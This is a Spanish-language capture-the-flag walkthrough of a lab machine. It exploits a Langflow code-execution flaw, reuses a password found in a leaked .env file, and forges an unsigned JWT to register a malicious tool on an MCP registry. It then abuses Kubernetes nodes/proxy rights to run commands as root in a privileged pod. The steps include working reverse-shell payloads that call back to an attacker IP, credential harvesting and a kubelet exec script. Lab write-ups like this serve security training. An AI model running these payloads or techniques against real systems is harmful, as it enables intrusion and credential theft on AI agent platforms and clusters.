Reconocimiento inicial
Enumeración con nmap
Comenzamos la fase de enumeración identificando la superficie de ataque mediante un escaneo de puertos. Utilizamos nmap para listar los servicios activos y sus versiones.
nmap -F -sV -sC -n -Pn 10.129.85.130
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-23 19:40 +0000
Nmap scan report for 10.129.85.130
Host is up (0.042s latency).
Not shown: 97 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_ 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
443/tcp open ssl/http nginx
|_http-title: Did not follow redirect to https://fireflow.htb/
| ssl-cert: Subject: commonName=fireflow.htb/organizationName=Task Force Nightfall/countryName=US
| Subject Alternative Name: DNS:fireflow.htb, DNS:*.fireflow.htb
| Not valid before: 2026-04-14T16:35:31
|_Not valid after: 2028-07-17T16:35:31
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
| http/1.1
| http/1.0
|_ http/0.9
9100/tcp filtered jetdirect
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
El resultado del escaneo revela dos servicios activos. Entre ellos, un servicio SSH en el puerto 22 y un servicio web nginx en el puerto 443. Tambien obtenemos el nombre de host de la máquina objetivo.
echo "10.129.85.130 fireflow.htb" | sudo tee -a /etc/hosts >/dev/null
Acceso al servicio de nginx

Al revisar la página principal, el botón “Open Agent” redirige a un vHost diferente, por lo que debemos añadir la entrada correspondiente en nuestro archivo /etc/hosts.
Debemos añadir otra entrada a nuestro archivo /etc/hosts:
echo "10.129.85.130 flow.fireflow.htb" | sudo tee -a /etc/hosts >/dev/null
Tras actualizar el archivo de hosts, el botón nos lleva a una interfaz de chat que Que al interactuar nos indica estar en desarrollo.
La aplicación corresponde a Langflow, una herramienta para crear flujos de agentes de IA. Aunque el código HTML no expone la versión directamente, podemos consultarla a través de su archivo openapi.json, accesible de forma predeterminada en este tipo de APIs:
curl -sk https://flow.fireflow.htb/openapi.json | jq '.info'
{
"title": "Langflow",
"version": "1.8.2"
}
Buscando vulnerabilidades asociadas a esta versión, nos encontramos con el CVE-2026-33017 En versiones anteriores a la 1.9.0, el endpoint POST /api/v1/build_public_tmp/{flow_id}/flow permite crear flujos públicos sin necesidad de autenticación.
Cuando se proporciona el parámetro opcional data, el endpoint utiliza datos de flujo controlados por el atacante que pueden contener código Python arbitrario.
Explotación del CVE-2026-33017
Los detalles técnicos de la vulnerabilidad y su análisis se pueden consultar en el aviso de Github - Unauthenticated Remote Code Execution in Langflow via Public Flow Build Endpoint
Iniciamos un listener con Netcat en el puerto 4444 para recibir la conexión:
nc -lnvp 4444
listening on [any] 4444 ...
Creamos un archivo JSON con el payload que ejecutará la reverse shell. Recuerda modificar la IP y el puerto (10.10.15.164/4444) con los de tu entorno:
{
"data": {
"nodes": [
{
"id": "X",
"type": "genericNode",
"data": {
"id": "X",
"type": "X",
"node": {
"template": {
"code": {
"type": "code",
"required": true,
"show": true,
"multiline": true,
"value": "import os\n\n_x = os.system(\"bash -c 'bash -i >& /dev/tcp/10.10.15.164/4444 0>&1'\")\n\nfrom lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name=\"X\"\n outputs=[Output(display_name=\"O\",name=\"o\",method=\"r\")]\n def r(self)->Data:\n return Data(data={})",
"name": "code"
},
"_type": "Component"
},
"outputs": [],
"field_order": [
"code"
]
}
}
}
],
"edges": []
}
}
Lanzamos la petición contra el endpoint vulnerable utilizando curl:
curl -sk -X POST 'https://flow.fireflow.htb/api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow' \
-H 'Content-Type: application/json' \
-b 'client_id=attacker' \
-d @payload.json
Con esto conseguimos acceso al sistema con privilegios del usuario www-data:
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Revisando el sistema, encontramos el archivo de configuración .env de Langflow.
cat /etc/langflow/.env
LANGFLOW_AUTO_LOGIN=False
LANGFLOW_SUPERUSER=langflow
LANGFLOW_SUPERUSER_PASSWORD=n1ghtm4r3_b4_n1ghtf4ll
LANGFLOW_SECRET_KEY=XgDCYma6JZzT3XXyePTbr4vgWrrZ4Vzz-PCQ4PXfKgE
LANGFLOW_CONFIG_DIR=/var/lib/langflow
LANGFLOW_LOG_LEVEL=warning
LANGFLOW_NEW_USER_IS_ACTIVE=False
LANGFLOW_CORS_ORIGINS=https://flow.fireflow.htb,https://fireflow.htb
Buscamos usuarios válidos en el sistema para evaluar un poisble movimiento lateral:
grep -E -v "nologin|false|sync" /etc/passwd
root:x:0:0:root:/root:/bin/bash
nightfall:x:1000:1000::/home/nightfall:/bin/bash
Identificamos al usuario nightfall, ¿habrá reutilizaod la contraaseña?
Movimiento lateral: Usuario nightfall
Accedemos por SSH utilizando el usaurio nightfall y la contraseña que encontramos en el archivo .env:
ssh nightfall@10.129.85.130
id
uid=1000(nightfall) gid=1000(nightfall) groups=1000(nightfall)
Al listar el directorio personal, encontramos la flag user.txt junto con un directorio oculto .mcp que contiene un archivo de configuración:
ls -la
total 36
drwxr-x--- 5 nightfall nightfall 4096 May 12 15:28 .
drwxr-xr-x 3 root root 4096 May 12 15:28 ..
lrwxrwxrwx 1 root root 9 May 12 14:24 .bash_history -> /dev/null
-rw-r--r-- 1 nightfall nightfall 220 Mar 31 2024 .bash_logout
-rw-r--r-- 1 nightfall nightfall 3771 Mar 31 2024 .bashrc
drwx------ 2 nightfall nightfall 4096 May 12 15:28 .cache
drwxrwxr-x 3 nightfall nightfall 4096 May 12 15:28 .local
drwx------ 2 nightfall nightfall 4096 Aug 23 19:18 .mcp
-rw-r--r-- 1 nightfall nightfall 807 Mar 31 2024 .profile
-rw-r----- 1 root nightfall 33 Aug 23 19:18 user.txt
cat ~/.mcp/config.json
{
"server": "http://10.129.85.130:30080",
"status_endpoint": "/api/v1/version",
"user": "langflow-bot",
"password": "Langfl0w@mcp2026!"
}
El archivo revela un servicio MCP (Model Context Protocol) local que corre en el puerto 30080. Consultamos su endpoint de versión para enumerar los componentes de la API:
curl -s http://10.129.85.130:30080/api/v1/version | python3 -m json.tool
{
"service": "MCP AI Tool Registry",
"version": "0.1.0",
"auth": {
"type": "JWT",
"header": "Authorization: Bearer <token>",
"supported_algorithms": [
"HS256",
"none"
]
},
"docs": "/docs",
"endpoints": [
"POST /mcp [MCP JSON-RPC 2.0]",
"POST /api/v1/auth",
"GET /api/v1/tools",
"POST /api/v1/tools [admin]"
]
}
Podemos ver que el sistema utiliza JWT para la autenticación y permite el algoritmo none, lo que abre la puerta a la suplantación de identidad sin necesidad de conocer la clave de firma. Además, el endpoint POST /api/v1/tools está restringido a administradores.
Consultamos el arcivo openapi.json para averiguar que podemos hacer con estos endpoints:
curl -s http://10.129.85.130:30080/openapi.json | python3 -m json.tool
Inspeccionando la definición de la API, verificamos que el esquema ToolRegisterRequest del endpoint /api/v1/tools endpoint requiere un parámetro de tipo código, permitiendo ejecutar instrucciones definidas en la API:
"/api/v1/tools": {
[... SNIP ...]
"post": {
"summary": "Register Tool",
"operationId": "register_tool_api_v1_tools_post",
"requestBody": {
"content": {
"application/json": {
"schema": {
"$ref": "#/components/schemas/ToolRegisterRequest"
}
}
},
"required": true
},
"schemas": {
"ToolRegisterRequest": {
"properties": {
"name": {
"type": "string",
"title": "Name"
},
"description": {
"type": "string",
"title": "Description"
},
"inputSchema": {
"anyOf": [
{
"additionalProperties": true,
"type": "object"
},
{
"type": "null"
}
],
"title": "Inputschema"
},
"code": {
"type": "string",
"title": "Code"
}
},
"type": "object",
"required": [
"name",
"description",
"code"
],
"title": "ToolRegisterRequest"
}
Explotación del JWT
Intentamos primero autenticarnos con las credenciales obtenidas en el archivo de configuración que encontramos en ~/.mcp/config.json:
curl -s -X POST http://10.129.85.130:30080/api/v1/auth \
-H 'Content-Type: application/json' \
-d '{"username":"langflow-bot","password":"Langfl0w@mcp2026!"}'
{
"access_token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoidXNlciJ9.RenGdHutrKPCOWjwYSJex8C_uMSmy7I8AMkhmTwf9Ps",
"token_type":"bearer"
}
Como se observa, el servidor devuelve un token JWT. Como estructura general, un token se compone de tres partes separadas por puntos (Header.Payload.Signature). Si decodificamos la segunda parte (el payload), podemos ver los datos del usuario actual:
echo "eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoidXNlciJ9" | base64 -d 2>/dev/null
{"sub":"langflow-bot","role":"user"}
Si intentamos acceder al endpoint /api/v1/tools para registrar herramientas usando este token de rol user, la API deniega el acceso:
curl -s -X POST http://10.129.85.130:30080/api/v1/tools \
-H 'Content-Type: application/json' \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoidXNlciJ9.RenGdHutrKPCOWjwYSJex8C_uMSmy7I8AMkhmTwf9Ps" \
-d '{"name":"test","description":"test","code":"print(1)"}'
{"detail":"Admin role required"}
Dado que el servicio acepta el algoritmo none en la cabecera del JWT, podemos generar un token falso cambiando el rol a Admin y omitiendo la firma digital:
header=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '\n' | tr '+/' '-_' | tr -d '=') \
&& payload=$(echo -n '{"sub":"langflow-bot","role":"admin"}' | base64 | tr -d '\n' | tr '+/' '-_' | tr -d '=') \
&& echo "${header}.${payload}."
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ.
Utilizando este token falsificado, registramos una herramienta capaz de abrir una reverse shell:
curl -s -X POST http://10.129.85.130:30080/api/v1/tools \
-H 'Content-Type: application/json' \
-H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ." \
-d '{
"name": "shell",
"description": "debug shell",
"inputSchema": {"type":"object","properties":{}},
"code": "import socket,os,pty\npid=os.fork()\nif pid>0:\n import sys;sys.exit(0)\nos.setsid()\npid=os.fork()\nif pid>0:\n import sys;sys.exit(0)\ns=socket.socket()\ns.connect((\"10.10.15.164\",4444))\n[os.dup2(s.fileno(),i) for i in(0,1,2)]\npty.spawn(\"/bin/sh\")"
}'
{"status":"registered","name":"shell"}
Iniciamos otro listener con Netcat en el puerto 4444 para recibir la conexión:
nc -lnvp 4444
listening on [any] 4444 ...
Por último, invocamos la ejecución de la herramienta a través del protocolo MCP para activar el payload:
curl -s -X POST http://10.129.85.130:30080/mcp \
-H 'Content-Type: application/json' \
-H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ." \
-d '{"jsonrpc":"2.0","id":4,"method":"tools/call","params":{"name":"shell","arguments":{}}}'
Con esto obtenemos una sesión interactiva con los privilegios del servicio MCP:
connect to [10.10.15.164] from (UNKNOWN) [10.129.85.130] 41249
$ id
uid=1000(mcp) gid=1000(mcp) groups=1000(mcp)
Escalada de privilegios
Al analizar el entorno de nuestra nueva sesión, detectamos indicios claros de que nos encontramos dentro de un contenedor desplegado en un clúster de Kubernetes.
La presencia de la ruta de secretos de servicio y las variables de entorno específicas lo confirman:
ls /var/run/secrets/kubernetes.io/
serviceaccount
env
KUBERNETES_SERVICE_PORT_HTTPS=443
PYTHON_SHA256=272179ddd9a2e41a0fc8e42e33dfbdca0b3711aa5abf372d3f2d51543d09b625
KUBERNETES_SERVICE_PORT=443
HOSTNAME=mcp-server-54464cb475-29ztf
PYTHON_VERSION=3.11.15
PWD=/app
MCP_SERVER_SERVICE_HOST=10.43.250.195
MCP_SERVER_SERVICE_PORT=8080
HOME=/home/mcp
MCP_SERVER_PORT_8080_TCP_PROTO=tcp
LANG=C.UTF-8
KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443
LS_COLORS=
GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D
MCP_SERVER_PORT_8080_TCP_PORT=8080
MCP_SERVER_PORT_8080_TCP_ADDR=10.43.250.195
SHLVL=1
MCP_SERVER_PORT=tcp://10.43.250.195:8080
KUBERNETES_PORT_443_TCP_PROTO=tcp
MCP_SERVER_SERVICE_PORT_HTTP=8080
KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1
MCP_SERVER_PORT_8080_TCP=tcp://10.43.250.195:8080
KUBERNETES_SERVICE_HOST=10.43.0.1
KUBERNETES_PORT=tcp://10.43.0.1:443
KUBERNETES_PORT_443_TCP_PORT=443
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
_=/usr/bin/env
Verificamos los permisos asignados a nuestra cuenta de servicio (ServiceAccount) consultando la API de Kubernetes:
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -sk -X POST "https://10.43.0.1:443/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"default"}}'
{
[... SNIP ...]
"resourceRules": [
{
"verbs": ["create"],
"apiGroups": ["authorization.k8s.io"],
"resources": [
"selfsubjectaccessreviews","selfsubjectrulesreviews"]
},
{
"verbs": ["create"],
"apiGroups": ["authentication.k8s.io"],
"resources": ["selfsubjectreviews"]
},
{
"verbs": ["get"],
"apiGroups": [""],
"resources": ["nodes/proxy"]
}
],
[... SNIP ...]
}
El permiso nodes/proxy es crítico, ya que permite interactuar de forma privilegiada a través del Kubelet. Comprobamos si existe algún pod privilegiado en el clúster que monte el sistema de archivos del host (hostPath) mediante una consulta al endpoint del Kubelet:
curl -sk "https://10.129.85.130:10250/pods" \
-H "Authorization: Bearer $TOKEN" \
-o /tmp/pods.json
python3 - << 'EOF'
import json
try:
with open('/tmp/pods.json', 'r') as f:
data = json.load(f)
except Exception as e:
print(f"[!] Error al cargar el archivo JSON: {e}")
exit(1)
items = data.get('items', [])
print(f"[*] Analizando {len(items)} pods...")
for item in items:
ns = item.get('metadata', {}).get('namespace', 'default')
name = item.get('metadata', {}).get('name', 'unknown')
spec = item.get('spec', {})
vols = [v for v in spec.get('volumes', []) if 'hostPath' in v]
for c in spec.get('containers', []):
csc = c.get('securityContext', {})
if csc.get('privileged') and vols:
paths = [v['hostPath']['path'] for v in vols]
print(f"[!] PRIVILEGED: {ns}/{name} - container: {c.get('name')} - hostPaths:{paths}")
EOF
[*] Analizando 7 pods...
[!] PRIVILEGED: monitoring/prometheus-prometheus-node-exporter-nmntq - container: node-exporter - hostPaths:['/proc', '/sys', '/']
Al ejecutarlo, detectamos un pod de monitorización con acceso directo al sistema de archivos raíz (/):
Dado que disponemos del permiso nodes/proxy, podemos conectarnos directamente al WebSocket del Kubelet para ejecutar comandos en dicho pod privilegiado sin requerir autenticación adicional en el nodo.
Para automatizar este proceso, creamos el script kube_exec.py:
#!/usr/bin/env python3
# kube_exec.py
import asyncio
import ssl
import sys
import websockets
NODE = "10.129.85.130"
NE_NS = "monitoring"
NE_POD = "prometheus-prometheus-node-exporter-nmntq"
NE_CNT = "node-exporter"
TOKEN = open('/var/run/secrets/kubernetes.io/serviceaccount/token').read().strip()
COMMAND = sys.argv[1] if len(sys.argv) > 1 else 'id'
async def ws_exec(cmd_parts):
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
args = "&".join(f"command={part}" for part in cmd_parts)
url = (
f"wss://{NODE}:10250/exec/{NE_NS}/{NE_POD}/{NE_CNT}"
f"?output=1&error=1&{args}"
)
async with websockets.connect(
url,
ssl=ctx,
additional_headers={"Authorization": f"Bearer {TOKEN}"},
subprotocols=["v4.channel.k8s.io"],
open_timeout=10
) as ws:
try:
while True:
data = await asyncio.wait_for(ws.recv(), timeout=5)
if isinstance(data, bytes) and len(data) > 1:
sys.stdout.write(data[1:].decode("utf-8", errors="replace"))
sys.stdout.flush()
except (asyncio.TimeoutError, websockets.exceptions.ConnectionClosed):
pass
if __name__ == "__main__":
asyncio.run(ws_exec(COMMAND.split()))
Tras levantar un servidor HTTP simple en nuestra máquina de atacante sudo python3 -m http.server 8080, transferimos el script al pod actual y lo ejecutamos para comprobar nuestros privilegios:
curl 10.10.15.164:8080/kube_exec.py -o /tmp/kube_exec.p
python3 /tmp/kube_exec.py "id"
uid=0(root) gid=65534(nobody) groups=10(wheel),65534(nobody)
{"metadata":{},"status":"Success"}